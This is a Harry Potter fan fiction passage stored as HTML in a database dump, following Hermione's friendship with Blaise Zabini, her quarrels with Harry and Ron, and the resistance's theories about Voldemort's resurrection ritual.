Alert!</i></p><i>\n\n</i><p>	&quot;Who&#8217;s your partner Harry?&quot; I tried gaining his focus away from Blaise.</p>\n\n<p>	&quot;Sally Ann,&quot; he flatly answered. <i>Oh dear, please let this go well. </i></p><i>\n\n</i><p>I cleared my throat. &quot;Guys&#8230;Blaise is my partner.&quot; I glanced towards Blaise with a mental plea. &quot;Blaise, meet Harry and Ron.&quot;</p>\n\n<p>&quot;Hello,&quot; she greeted with her emotions unreadable. </p>\n\n<p>&quot;Hi,&quot; Harry and Ron replied. <i>Well this is going great</i>. We stood there awkwardly at the sudden encounter. I kept wishing they would get along, but knew that would not happen any time soon. Harry and Ron seemed annoyed, but kept silent for my sake. And Blaise acted uncaring towards their attitudes at her. Then the silent battle was broken by an even worst intrusion.</p>\n\n<p>&quot;Blaise!&quot; Pansy shouted behind her. &quot;Class is about to start and I don&#8217;t want you hanging around these mugglelovers and their mudblood.&quot; Her rather pointy noise lifted into the air. I quickly grabbed Ron&#8217;s sleeve while glancing at Harry to leave her alone. &quot;I would watch what you are doing Ronald. Everyone would see you hurt an innocent girl.&quot; Pansy smiled wickedly.</p>\n\n<p>&quot;You are far from innocent Pansy!&quot; Ron spat out each word with venom. <i>Wow, he looks really mad.</i></p><i>\n\n</i><p>&quot;Stop the chit-chat Pansy.&quot; Malfoy appeared with his usual goons and Millicent. Harshly he gripped Blaise&#8217;s wrist and glared at us. &quot;You may be her partner but when time is up you come back to us.&quot; He walked away dragging Blaise like a rag-doll. I wanted to stop him, but Blaise glanced back telling me not too. Subdued she followed them out the Great Hall, while I wanted to scream. <i>I wish I could help you</i>.</p>\n\n<p>&quot;Nene we should get to class.&quot; Harry whispered into my ear. He laced his fingers with mine, looking concerned at my frowning face. I gave small grin and looped my other arm with Ron&#8217;s arm </p>\n\n<p>&quot;Come on boys, off to class we go.&quot; <i>One battle lost but winning war ahead</i>.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Mione, you have to come!&quot; Ron whined as I kept walking towards the library.</p>\n\n<p>&quot;I need to study.&quot; He started tugging on my sweater.</p>\n\n<p>&quot;But it&#8217;s Saturday Hermione! Come to Hogsmeade with us.&quot; Harry grabbed my other arm. </p>\n\n<p>&quot;Please!&quot; They begged together on their knees. If I weren&#8217;t in a hurry to reach Blaise, I would have gone with them instantly. <i>Still I need to savor this moment for another day though. Stop daydreaming Hermione, Blaise is waiting.</i></p><i>\n\n</i><p>&quot;Boys please&#8230;I just need to do this. How about we compromise? Let me go and tomorrow I&#8217;m all yours.&quot; I gave a pleading look and wide smile.</p>\n\n<p>&quot;Promise,&quot; Harry stood smiling. Ron followed but wasn&#8217;t as easy to let go.</p>\n\n<p>&quot;I guess. But you have to spend the whole day doing what we want.&quot; </p>\n\n<p>&quot;I will. Go on and have fun today. Buy me some sugar quills too.&quot; I squeezed Ron&#8217;s hand in reassurance. He started to walk off towards the other direction. Harry gave me one last glance and a chaste kiss before following his best friend.</p>\n\n<p>Quickly I reached the library, searching for Blaise. After greeting several other classmates and Professors, I found her behind the Advance Potions section. She was dressed in baggy clothes and her usual bouncy hair was in a messy bun. A heavy book she was reading in the barely lit corner blocked her face. At first I thought she was reading, but noticed the dull stare in her eyes.</p>\n\n<p>&quot;Blaise please say something.&quot; I slowly crouched down. &quot;I know you are not reading.&quot; I carefully took the book away from her. She made no reaction. <i>Great it keeps going on and on. Will it ever stop?</i> I sighed with annoyance. &quot;What did they do this time?&quot; I pulled her towards my lap, while she rested her head.</p>\n\n<p>&quot;Older girls, stairs, fell hard,&quot; were the only words I could coherently hear. Blaise was a girl that never cried, but whenever she was distraught her voice would seem to disappear. </p>\n\n<p>&quot;Are you hurt?&quot; I carefully looked for injuries. <i>You don&#8217;t deserve this</i>.</p>\n\n<p>&quot;No,&quot; she suddenly grabbed my hand. &quot;Please don&#8217;t leave me. I don&#8217;t want to be alone.&quot; Her eyes closed at my warm touch.</p>\n\n<p>&quot;Blaise the day I leave you, is the day you like your step-family.&quot; I felt her body slowly relax.</p>\n\n<p>&quot;So that will never happen,&quot; she slurred out. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Nene are you all right? Do you not like your sugar quill? Did something happen today?&quot; Harry asked while we cuddled in front of the warm fire. Everyone had retired to bed, leaving us alone in the Common Room. Since Harry&#8217;s bold announcement about us, many of our fellow Gryffindor&#8217;s would respectfully give us time alone during the nighttime. Though he was still shy to show much affection in public, I was just glad for these moments alone with him.</p>\n\n<p>&quot;I just learned another detail in life&#8217;s lesson.&quot; I thoughtless said. After Blaise had regained her composure, she told a more accurate story of her current living style. I openly cried while she returned to her stone cold expression. So I did what any friend could possible do, I distracted her by looking for another room. By the grace of Merlin, we found one near the Gryffindor Tower.</p>\n\n<p>&quot;Do you want to tell me about it?&quot; Harry pulled me closer into his embrace.</p>\n\n<p>&quot;Did the Dursleys ever physically hurt you?&quot; I glanced towards his vexed eyes.</p>\n\n<p>He heavily sighed looking deeply into the fire. &quot;No, but they did enough damage with words. At least physically pain could heal with time.&quot;</p>\n\n<p>&quot;You&#8217;re not healing?&quot; I grabbed a fist full of his robe. <i>Why do great people get hurt?</i></p><i>\n\n</i><p>&quot;Slowly, but it&#8217;s going to be better.&quot; He answered with full confidence.</p>\n\n<p>&quot;How do you know?&quot; I asked with doubt.</p>\n\n<p>&quot;Because you are here with me. You could make any scar go away.&quot; I reached to touch his forehead.</p>\n\n<p>&quot;I wish I could make this go away.&quot; He smiled caustically.</p>\n\n<p>&quot;So do I, but like Dumbledore said, we all have our own destiny. It is just the choice between the easy or the right one.&quot; Harry paused suddenly. &quot;May I ask where this is coming from?&quot;</p>\n\n<p>&quot;You may but it doesn&#8217;t mean I will answer.&quot; I murmured out.</p>\n\n<p>&quot;Will you tell me another day?&quot; I rested my head on his chest.</p>\n\n<p>&quot;When you&#8217;re ready.&quot;</p>\n\n<p>&quot;Difficult to understand.&quot; He placed his head on mine.</p>\n\n<p>&quot;No, just something unexpected.&quot; I reached to hold his hand. &quot;No more questions. I just want this moment with you.&quot; I placed a kiss on his palm.</p>\n\n<p>&quot;Must be really bad, if you don&#8217;t want to talk about it.&quot; His arms wrapped around me tighter. <i>You have no idea.</i></p><i>\n\n</i>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p> I was nervous. I never like being nervous. I felt I was out of control and had no apprehension of what was going to happen. Yet whenever I was, I either stuttered or babbled in tangents. Currently I sat fidgeting in the same room I was in a month ago. Again everyone was settled in their same positions, comfortable with each other&#8217;s presence. I quietly listened as Bill went on about rumors of dark magic in Syria. Anxiously, I glanced around the room.</p>\n\n<p>I noticed Roger slyly holding Alicia&#8217;s hand while they sat together on the couch. After our mutual separation, he had spent more time with his fellow roommate Angelina. Well through time he spent with her and her friends, he asked Alicia to the Valentine&#8217;s Day dance. I was extremely happy when I heard the news from Roger. They had currently been dating for 2 weeks and didn&#8217;t look to be ending any time soon.</p>\n\n<p>Across from me, I saw Neville cautiously moved closer towards Ginny. <i>I wonder if he will ever</i>\n\n<i>ask her out?</i> Through his usual rambling, I had figured out that he had a crush on the youngest Weasley. Yet he had held back from doing anything, for fear of the Weasley clan. As for Ginny, she had finally admitted that she found Neville to be sweet and caring. I personally thought she needed someone like Neville compared to her other crushes. Of course I was little bias, since Harry was still on her list of boys to be with.</p>\n\n<p> 	In the corner, I noticed Sirius slowly dozing off. He had just recently returned from another dangerous journey looking for Peter Pettigrew. His long hair was now cut into a short style, while he had started growing a mustache. He looked like he had lost weight again and slept very little. Harry stood next to him, fully showing concern on his face. <i>If only we could catch Peter</i>. Returning back to Bill&#8217;s monologue, I saw Professor Snape scowl at my direction. <i>He is probably mad that my attention is elsewhere.</i></p><i>\n\n</i><p>	&quot;Professor Snape, has there been any news about the missing people?&quot; Harry surprisingly asked with civility.</p>\n\n<p>	&quot;No. My source is completely unaware of their whereabouts.&quot; He replied nonchalantly.</p>\n\n<p>	&quot;I just don&#8217;t see why they need two muggles. I mean Ludwig&#8217;s wife is at least a herebologist as well as married to a great Potions Master.&quot; Roger said puzzled. <i>Wait she&#8217;s a herebologist</i>. Suddenly Charlie came running into the room.</p>\n\n<p>	&quot;I just got news that someone bought dragon eyes through the black market!&quot; He huffed out exhaustibly.</p>\n\n<p>	&quot;Why dragon eyes?&quot; Lee voiced in question.</p>\n\n<p>	&quot;Mr. Jordan if you were to pay attention in class, you would know that dragon eyes can still function without the body.&quot; Professor McGonagall replied with her usual lecturing manner.</p>\n\n<p>	&quot;Roger where did you say Mr. Gustoven lived in Germany?&quot; I asked.</p>\n\n<p>	&quot;Near the Black Forest,&quot; <i>and his wife is a herebologist</i>.</p>\n\n<p>	&quot;Mione,&quot; Ron noticed my eyes starting to blur.</p>\n\n<p>	&quot;Professor, do they have their own Potions Master?&quot; I directed towards Professor Snape.</p>\n\n<p>	&quot;Yes, though I am unaware of who it may be.&quot; <i>So Mr. Gustoven is useless to their cause</i>.</p>\n\n<p>	&quot;Ms. Granger, what are you thinking?&quot; Professor Dumbledore said, but my mind was too busy to hear. <i>So his skills are not what they want. She is not ransom for his cooperation. They took her for other reasons. She is a herebologist. They live near the Black Forest. Wait the list! They need something for the list in Germany. Oh, how could I forget?</i></p><i>\n\n</i><p>	&quot;In a recent search through ancient German castles, archaeologists found Marsh mallow&#8217;s roots. Many assumed that they were brought over by merchants from China. Others believed that the Germanic tribes had started cultivating their own Marsh mallow plants. One of the most fertile areas is in Germany is in the Black Forest.&quot; My voice carried through the room. I started pacing excited at my discovery. &quot;They took Mr. Gustoven&#8217;s wife because she knows how to find it or even cultivate it. He went back to try and search for it. That means she is not helping their cause. So we still have a chance to find them alive. They wouldn&#8217;t kill her or the muggles unless they find the marsh mallow plant.&quot;</p>\n\n<p>	&quot;So we need to stop him from finding the plant.&quot; Ron said eagerly.</p>\n\n<p>	&quot;Impossible! The Black Forest is so dark that night and day melt in to one.&quot; Remus stated.</p>\n\n<p>	&quot;Unless you had dragon eyes, to guide the way.&quot; Charlie spoke out hoarsely. The room grew silent processing, what was just said. <i>I wonder what each person is thinking?</i></p><i>\n\n</i><p>	&quot;But why do they need the Marsh Mallow plant? All the things listed are either found in Middle East or Asia.&quot; Cho questioned my hypothesis.</p>\n\n<p>	&quot;The moisture in the roots can be used for healing purposes. There is an ancient folklore that said it brought the dead back to life.&quot; Neville surprised everyone with his knowledge.</p>\n\n<p>	&quot;We need to stop whoever is going to use it!&quot; Ginny shivered at the thought. </p>\n\n<p>	&quot;Has the dragon eyes been given to the buyer yet?&quot; Professor Dumbledore calmly asked.</p>\n\n<p>	&quot;No, it was just bought this morning.&quot; Charlie placed a hand on Ginny&#8217;s shoulder.</p>\n\n<p>	&quot;I&#8217;ll take care of it.&quot; Mr. Weasley said with conviction. <i>What?</i></p><i>\n\n</i><p>	&quot;Dad, how are you going to do that?&quot; Ron asked confusedly, while voicing what everyone was wondering as well.</p>\n\n<p>	&quot;Son, every person has their secrets. Some are just darker than others.&quot; He suddenly looked very different. &quot;I will deal with the trader. Severus I can trust you to handle Ludwig.&quot; Professor nodded at Mr. Weasley&#8217;s commanding tone. With a quick glance around the room, they left in hopes to complete their mission.</p>\n\n<p>	&quot;I believe that will be it for the day. We will meet again when we receive further news.&quot; The headmaster then gathered together with the adults as we dispersed into different directions. Harry, Ron, and I slowly strolled through the halls with our thoughts still in the meeting. I was concentrating on what could be missing that I didn&#8217;t notice the person from around the corner.</p>\n\n<p>	Smack!</p>\n\n<p>	Malfoy and I both fell backwards from the sudden collision. Harry quickly kneeled to my aid as Ron started shouting. &quot;Watch where you are going ferret face! Don&#8217;t you have enough money to buy yourself glasses.&quot;</p>\n\n<p>	&quot;Sod off Weasley! I think I broke my tail bone.&quot; Malfoy stood rubbing his posterior. I chuckled at his action but my aching arm preventing me to do so.</p>\n\n<p>	&quot;Nene are you hurt?&quot; Harry gently lifted me upwards.</p>\n\n<p>	&quot;I think I bruised my forearm.&quot; I winced at his touch.</p>\n\n<p>	&quot;Look at what you did!&quot; Ron screamed at Malfoy&#8217;s face. Malfoy said nothing but his eyes soften in worry. </p>\n\n<p>	&quot;Hermione are you okay? I honestly didn&#8217;t see you coming.&quot; He moved away from Ron&#8217;s glare. <i>What in Merlin&#8217;s name is wrong with him?</i></p><i>\n\n</i><p>	&quot;What, no name calling Malfoy?&quot; Harry placed his arm around my waist.</p>\n\n<p>	&quot;I&#8217;m not talking to you, Potter.&quot; He barked at Harry. &quot;Do you need to go to the infirmary?&quot; He tenderly spoke. I stared shocked into his silver eyes. </p>\n\n<p>	&quot;Ah&#8230;I think it would be best.&quot; I stuttered out.</p>\n\n<p>	&quot;Good,&quot; he reached to guide me. &quot;Are you two coming?&quot; He ordered at Ron and Harry. Utterly confused at what to do, they willfully followed. As we silently walked on ward, I had this nagging feeling about him. <i>Why does he feel familiar? Well you have technically known him for 5 years. No, he feels different. I glanced up to see his eyes changing. Wait, is that blue?</i></p><i>\n\n</i><p>	Nearing the Hospital Wing, a group of 1<sup>st</sup> years gather around Harry and Ron. Busy being pestered with questions and adoring comments, they were stuck between them. &quot;I&#8217;ll continue on with Hermione.&quot; Malfoy smirked. &quot;Have fun with your fans.&quot; We turned another corner when Malfoy spoke again. &quot;I told you it was overly white.&quot; </p>\n\n<p>	I looked up to see his image slowly disappear. <i>Dear sweet Merlin, why do you keep surprisingly</i>\n\n<i>me lately?</i> There stood Blaise with her annoying grin. &quot;Blaise!&quot; I shouted while hitting her shoulder.</p>\n\n<p>	She laughed loudly. &quot;It was worth it! You should have seen your face when I said your name. Then it got even better with Harry&#8217;s jealous glare and Ron&#8217;s frustrated face. Oh, the great advantages of polyjuice.&quot; She deviously twirled her strawberry blonde hair.</p>\n\n<p>	&quot;I am so glad I could amuse you.&quot; I said sharply. &quot;And why are you using polyjuice?&quot; I shook my head frantically at her still humored posture.</p>\n\n<p>	&quot;Well, Draco paid me to patrol for him today. I got 3 galleons for it too.&quot; She showed me her recently gained money.</p>\n\n<p>	&quot;You know you shouldn&#8217;t use that too much.&quot; I lectured her of her carelessness of the repercussions of her actions.</p>\n\n<p> 	&quot;Oh, cut the act. I was the one who taught you to use it in the first place. Besides you know how easy potions are for me.&quot; She bragged at her achievements.</p>\n\n<p>	&quot;I know. I just don&#8217;t want you getting hurt or in trouble.&quot; I placed my hand on her shoulder.</p>\n\n<p>	&quot;I won&#8217;t.&quot; She smiled. &quot;Come on, we should get your arm fixed. I don&#8217;t want your boyfriend and hot-tempered bosom friend hurting me.&quot; She tugged me along towards the infirmary.</p>\n\n<p>	&quot;Bosom- friend?&quot; I arched my eyebrows in curiosity.</p>\n\n<p>	&quot;I just finished Anne GreenGables. I have the words in my head.&quot;</p>\n\n<p>	&quot;Sure, that is what you said last time, when you called dating, courting.&quot; I teased at her.</p>\n\n<p>	&quot;I would watch what you say. I can change into you any time I want.&quot; She challenged back.</p>\n\n<p>	&quot;Note taken!&quot; I scattered to find Madam Pomfrey. </p>\n\n<p>	&quot;Where is he?&quot; Harry and Ron came running into the room.</p>\n\n<p>	&quot;Who?&quot; Blaise innocently asked. </p>\n\n<p>	&quot;Malfoy!&quot; Ron shouted still looking for the other blonde.</p>\n\n<p>	&quot;He brought Hermione here.&quot; Harry said briskly.</p>\n\n<p>	&quot;Really? I thought I brought Hermione here.&quot; Blaise turned to face me. &quot;Hermione, I think your two boys are starting to loose their heads. They think Draco brought you here.&quot; I tried my best not to laugh, but was unsuccessful. </p>\n\n<p>	&quot;What&#8217;s so funny?&quot; Ron muttered to Harry.</p>\n\n<p>	&quot;I think it&#8217;s a girl thing.&quot; Harry replied equally as confused. Slowly our chuckles died down, and Harry moved closer towards me. &quot;Does it still hurt?&quot;</p>\n\n<p>	&quot;Not anymore,&quot; I leaned in to kiss his cheek.</p>\n\n<p>	&quot;Get a room,&quot; Ron and Blasie said together. I grinned at their awed expressions.</p>\n\n<p>	&quot;Hermione we should go. We have class tomorrow and also we have to meet with our partners.&quot; Harry held his hand tightly with mine.</p>\n\n<p>	&quot;Oh great joy of fun! I swear if I hear Lavendar mention one more thing about my brothers, I will be force to do evils things.&quot; Ron stammered out.</p>\n\n<p>	&quot;I thought you said she was cute.&quot; I jabbed my finger at him.</p>\n\n<p>	&quot;That was before she told me 101 ways she can do her hair.&quot; Ron scrawled his face in annoyance.</p>\n\n<p>	&quot;You mean before she opened her mouth.&quot; Blaise commented.</p>\n\n<p>	&quot;Shouldn&#8217;t you be faithfully following your princesses.&quot; Ron asked in a saucy tone.</p>\n\n<p>	&quot;Hermione and I were talking about school before you two came in. Besides you have no authority of who I talk to.&quot;</p>\n\n<p>	&quot;She is my friend. I think I have every authority to do so.&quot; Ron spoke louder, causing echoes in the hall. </p>\n\n<p>	&quot;You&#8217;re not her only friend!&quot; Blaise glared into his eyes.</p>\n\n<p>	&quot;Stop it!&quot; I finally shouted. Harry silently watched as I commanded them. &quot;Ron just leave her alone.&quot; He grunted and sealed his lips. &quot;Blaise, go back to your room. I&#8217;ll talk to you tomorrow.&quot; She huffed with uneasiness and left with aggravation. <i>Great! They both have tempers that could melt the North Pole.</i></p><i>\n\n</i><p>	Soon we reached the Common Room, filled with busy happy students. <i>I wonder if their lives are anything like ours. Are their main worries about school and quidditch? Do they ever think about dark magic or impending doom? It would have been nice not to know what I know. Would I be different? Would I be who I am now?</i></p><i>\n\n</i><p>	&quot;I can not believe you did that to me!&quot; Ron finally shouted. All commotion stopped from his explosion. </p>\n\n<p>	&quot;You were acting immature. She was just walking with us. She didn&#8217;t do anything wrong.&quot; I stood up matching his posture.</p>\n\n<p>	&quot;Her walking with us is wrong. I mean it&#8217;s bad enough that she&#8217;s your partner. Do we have to spend so much of our free time with her also?&quot; His hands throw up in frustration.</p>\n\n<p>	&quot;There is nothing wrong with her or her being my partner. I like spending time with her. I think she is great to talk to.&quot; </p>\n\n<p>	&quot;Everything that comes out of her mouth is rude and sarcastic!&quot;</p>\n\n<p>	&quot;Funny how you can point that out in others but not yourself Ron!&quot; I slightly shoved his shoulder.</p>\n\n<p>	&quot;She&#8217;s in Slytherin!&quot; He growled trying not to throw things at me.</p>\n\n<p>	&quot;I do not care!&quot; I yelled in his face. <i>I didn&#8217;t want this to happen. I wanted them to like each other. I don&#8217;t want to choose between friends.</i></p><i>\n\n</i><p>	&quot;I think we should continue this in our room.&quot; Harry finally voiced in. I nodded in submission wanting to resolve the situation. Ron sighed but reluctantly followed as well. All eyes stared as we ascended the stairs, wondering how life was like for us? <i>If only they really knew</i>.</p>\n\n<p>	&quot;Hermione, I agree with Ron.&quot; Harry quietly said, closing the door. &quot;You shouldn&#8217;t be trusting her so much. We don&#8217;t know what she could be planning.&quot; I gaped in shock. <i>I don&#8217;t believe he just said that</i>.</p>\n\n<p>	&quot;Besides Mione, she&#8217;s in Slytherin. Her family is highly connected with dark magic.&quot; Ron sat on his bed. &quot;And you&#8217;re a muggleborn, who knows what crazy ideas could be running through her head.&quot;</p>\n\n<p>	&quot;Also you&#8217;re my girlfriend. She might be trying to get information from you.&quot; They continued on with a list of reasons why I shouldn&#8217;t be her friend. I sat motionless on Harry&#8217;s bed in disbelief. <i>I was actually disgusted with Ron and Harry. They were judging her because of her surname. They felt threaten because of her reputation. </i></p><i>\n\n</i><p>	&quot;You only know her image.&quot; I stared at Harry. &quot;You are taking her surname and reputation.&quot; I directed at Ron. I tighten my fists together. &quot;I expected anyone else to be prejudice, but not you two.&quot;</p>\n\n<p>	&quot;We are not being prejudice. Her family had worked with Death Eaters in the past. Percy sent us information stating the fact. She is in Slytherin for a reason.&quot; Ron fidgeted from my angry glare.</p>\n\n<p>	&quot;I just don&#8217;t trust her. For all the reasons we said and because of way she treats you. She is way too nice. All Slytherins do things for a reason. She is definitely up to something.&quot; Harry ran his hand through his hair.</p>\n\n<p>	&quot;Were you using me when we became friends? Was it because I was smart and a bookworm? Or were you so eager to be the amazing heroes in my life?&quot; I stomped off towards the door.</p>\n\n<p>	&quot;Is she worth fighting with us?&quot; Harry coolly said. <i>No, because you&#8217;re fighting with her</i>.</p>\n\n<p>	&quot;Yes, but we&#8217;re not fighting. I just realized how alike some people could be.&quot;</p>\n\n<p>	&quot;What is that suppose to mean?&quot; Ron gritted his teeth. </p>\n\n<p>	&quot;Someone once told me, once you are one way, you can never change the fact of it. I just didn&#8217;t want to believe him until now.&quot; I let tears flow down my face, and left them to ponder their own thoughts.</p>\n\n<p>	</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;Hermione, what do I do now?&quot; Neville nudged my elbow. </p>\n\n<p>	&quot;Wait until it turns green, then let it cool for 5 minutes.&quot; I carelessly said. He nodded and left me to my own thoughts. After tossing and turning last night, I ended up leaving the Tower early in the morning. I had skipped breakfast to find Blaise waiting in the library for me. Some what annoyed with her attitude yesterday, I quickly sat down next to Susan. Noticing my irritation, Blaise slammed her book on the table and left the library. &quot;I wonder what her problem is?&quot; I remember Susan whispering into my ear. I muttered my unawareness and continued to discuss about Herebology. I went on with my day, neither talking to Harry or Ron. Actually they went along with their day not talking to me either. <i>Why does it seem that we have gotten into too many arguments this year?</i></p><i>\n\n</i><p>	&quot;Hermione can I ask you a question?&quot; Neville nervously gulped.</p>\n\n<p>	&quot;Actually Neville, could we talk about school later? I need to finish this potion.&quot; I concentrated only my task.</p>\n\n<p>	&quot;It&#8230;it has to do with the Valentine&#8217;s Day dance.&quot; He stuttered out. &quot;Do you think Ginny would go with me?&quot; <i>He&#8217;s finally going to do it.</i></p><i>\n\n</i><p>	I smiled for the first time today. &quot;I see no reason why she wouldn&#8217;t.&quot; </p>\n\n<p>	&quot;I guess I&#8217;m worried she will say no. I heard she might go with one of her Ravenclaw friends.&quot; His eyes lowered in grief. </p>\n\n<p>	&quot;Neville you already made the decision to ask her. You just want the reassurance to do so.&quot; He shyly glanced up. &quot;Well I am telling you to ask her before she decides to say yes to Sam.&quot;</p>\n\n<p>	&quot;She hasn&#8217;t said yes yet?&quot; Neville asked in surprise.</p>\n\n<p>	&quot;Ginny is waiting for you to ask her. Almost gave up, but I told her to wait just a little longer.&quot; I grinned inwardly.</p>\n\n<p>	&quot;You&#8217;re a great friend Hermione.&quot; <i>Really, then why don&#8217;t I feel like one?</i></p><i>\n\n</i>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;I&#8217;m sorry. I shouldn&#8217;t have said that to Ron yesterday. You know how I get when people hit a nerve. Things just fly out of my mouth. Please don&#8217;t be mad.&quot; Blaise sat next to me on the floor. I looked up from my book to see her eyes glimmering with fright. <i>Why does she look so scared?</i> Afraid of my silence, she grabbed my hand furiously. &quot;I am really, really sorry. Please don&#8217;t leave me.&quot;</p>\n\n<p>	I sighed at her appearance. Her face was pale, and eyes very dim. She looked to have aged ten years in only a night&#8217;s time. <i>Do I really mean that much to her? Hermione, of course you do. She also</i>\n\n<i>means a lot to you too</i>. &quot;I know you didn&#8217;t mean to. I even understand why you would react that way. I just wish you could get along with them.&quot; I closed my book in defeat.</p>\n\n<p>	&quot;I know being my friend is a burden to you.&quot; She said meekly.</p>\n\n<p>	&quot;No, just highly dramatic.&quot; I lightly joked.</p>\n\n<p>	&quot;No, that&#8217;s Harry and Ron&#8217;s job. I just add in a bit of spice.&quot; She finally gave a small grin.</p>\n\n<p>	&quot;Blaise, do you think you could be friends with them too?&quot;</p>\n\n<p>	&quot;I don&#8217;t know. But I will try, if you really want me too.&quot; I squeezed her hands. </p>\n\n<p>	&quot;I do.&quot; I reached to close my bag. </p>\n\n<p>	&quot;Were you working?&quot; She noticed my tired face.</p>\n\n<p>	&quot;Just on the translations and potions. I really have no clue what I am doing anymore.&quot; I said in discretion.</p>\n\n<p>	&quot;Yes you do.&quot; She grabbed my bag. &quot;Let&#8217;s see what you have so far. Remember what you always say, two minds are better then one.&quot; </p>\n\n<p>	&quot;You actually listen when I lecture you?&quot; I smiled.</p>\n\n<p>	&quot;I always listen to you.&quot; She grinned showing her rare sweet dimples. &quot;Now what the heck is Marsh Mallow?&quot; Blaise eyes saw my notes.</p>\n\n<p>	&quot;It&#8217;s a plant with great healing abilities. The real problem is finding out why they would need that or kidnap muggles? I mean even Ludwig&#8217;s wife has reason to be taken. But why take two powerless muggles?&quot;</p>\n\n<p>	&quot;Hermione, who is this for?&quot; Her eyes darted up.</p>\n\n<p>	&quot;Many of us speculate it is for You-Know-Who, but we don&#8217;t have any evidence.&quot;</p>\n\n<p>	&quot;What do you think?&quot; She asked slightly worried at the answer.</p>\n\n<p>	&quot;Yes, it is for him. I mean, he can drink unicorn&#8217;s blood. Why not bring himself back to life?&quot;</p>\n\n<p>	&quot;But he still is alive. You said Harry faced him last year.&quot; I sighed again.</p>\n\n<p>	&quot;It&#8217;s not his real body. He is only living through a host. He does not actually have one.&quot;</p>\n\n<p>	&quot;So this could make him into a man again. He could be human again.&quot;</p>\n\n<p>	&quot;Yes, and give him the ability not to die also.&quot; She stood up abruptly.</p>\n\n<p>	&quot;So the potion and everything is for him. Then why don&#8217;t you tell the Ministry? I mean isn&#8217;t there enough evidence to show the world he has return.&quot;</p>\n\n<p>	&quot;Blaise you understand how the wizard world works better than me. You know the answer to that.&quot; I stood following her action.</p>\n\n<p>	&quot;Why do we keep living like this?&quot;</p>\n\n<p>	&quot;Because it is who we are. No matter if we are muggles or purebloods, we are still magical beings.&quot;</p>\n\n<p>	&quot;Sometimes I wonder if I can get away from who I am.&quot; We paused silently. <i>I wonder how we got off the subject. Wait a second!</i></p><i>\n\n</i><p>	&quot;Blaise remember that article you were telling me about genetics and such.&quot;</p>\n\n<p>	&quot;The one about blood types?&quot;</p>\n\n<p>	&quot;Do you still have it?&quot;</p>\n\n<p>	&quot;I&#8217;ll search for it. Why, what are you thinking?&quot;</p>\n\n<p>	&quot;Remember when I told you about 2<sup>nd</sup> year and the whole Ginny fiasco.&quot;</p>\n\n<p>	&quot;You mean how You-Know-Who was actually a student here.&quot;</p>\n\n<p>	&quot;Yes. He grew up in a muggle orphanage after his father abandoned him. His father was a wealth muggle. One would assume that he wasn&#8217;t the only living Riddle. Even if he was, he would still have to have some sort of distant relatives.&quot;</p>\n\n<p>	&quot;So distant, that they could be living in Spain. They could have different last names.&quot;</p>\n\n<p>	&quot;But they would still carry a similar blood type. They could still be useful in the ritual.&quot; I quickly hugged her in our discovery. &quot;We did it. We just need to find them Blaise!&quot;</p>\n\n<p>	&quot;I believe Ms. Granger, that will be up to the resistance to decide who finds them.&quot; <i>Oh, I&#8217;m in trouble</i>.</p>\n\n</font><font size="2"><p>	</p></font>\n\n '),
	(239, 17, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Disclaimer: No not mine</title>\n\n\n\n<font size="2"><p>Disclaimer: No not mine!</p>\n\n<p>Sorry if it has been awhile. I have been busy with my dance company. My last show is June 7. I&#8217;m really sad that I&#8217;m retiring. So if my writing seems to take longer, I hope you understand. Anyway I think this chapter will satisfy the romantic readers out there. And if you don&#8217;t like it, then I suck at writing fluff. But I do promise you will see action next chapter. </p>\n\n<p>Thank you for all the comments and reviews. I reread a lot of them, which helped me think about where I was taking the rest of this story. Also a big thank you to my beta readers, Malu and Summer. Well here it is, and I hope you like it. Look forward to reading your comments and reviews. Enjoy!</p>\n\n</font><b><font size="3"><p>The Middle of Understanding</p>\n\n</font></b><p><font size="3">Chapter 16</font></p><font size="3">\n\n<b><u><p>A Package Full of Fun</p>\n\n</u></b><p></p>\n\n</font><font size="2"></font><p><font size="2">	</font><font size="3">&quot;Professor Snape, it wasn&#8217;t Hermione&#8217;s fault.&quot; Blaise quickly pleaded.</font></p><font size="3">\n\n<p>	&quot;Ms. Zabini, I was speaking with Ms. Granger. I will deal with other matters relating to you later on.&quot; He coolly replied to us. &quot;From minds like you two, I am extremely disappointed to see the regardless of importance that you speak of in such a public place.&quot; He turned towards the door. &quot;Follow me, before any other details could be heard to by any meddler.&quot; He ordered harshly walking away with large strides across the room.</p>\n\n<p>	&quot;Yes sir,&quot; we lowered are heads from his gaze. With compliance, we quickly followed behind him. <i>His wrath of cool words was worst than his harsh commands.</i></p><i>\n\n</i><p>	After several minutes, listening to his steps echoing in the hall, we reached a grand portrait hanging beneath the south staircase. The mystic scene of fairies was prancing in a misty meadow. With dark colors of blues and greens, the tiny figures shined in pastel pinks and purples. Contrasting against the midnight life was a lone star hovering in the sky.</p>\n\n<p>	&quot;Lemon drop,&quot; Professor said with the portrait swinging open. Blaise and I cautiously followed, not knowing what was behind the scene. Inside I saw Harry and Ron training on mats with Professor Figgs, while the headmaster was discussing with Charlie. <i>So this is where they train. Finally I get to see it for</i>\n\n<i>myself</i>. <i>I thought Terry said that it was fully of books as well. Maybe he was describing another room</i>.</p>\n\n<p>	&quot;What is she doing here?&quot; Ron pointed at Blaise.</p>\n\n<p>	&quot;When Ms. Granger started discussing about our information with her.&quot; Professor Snape went to explain what happen to the three adults.</p>\n\n<p>	&quot;Hermione, why would you tell her about this?&quot; Harry sighed sounding frustrated.</p>\n\n<p>&quot;Ms. Granger, do you have a responsible explanation for this?&quot; Professor Dumbledore stepped away from the tiny circle. The room fell silent waiting for my reply. <i>Why do I tell her things? You know why. It&#8217;s the same as Harry and Ron tells you things.</i></p><i>\n\n</i><p>	&quot;I trust her.&quot; I stared towards Harry and Ron. &quot;Like you trust me,&quot; they casted their eyes away from mine.</p>\n\n<p>	&quot;I see.&quot; Professor Dumbledore smiled. &quot;That is a very good reason.&quot;</p>\n\n<p>	&quot;Albus, Ms. Granger made a promise when 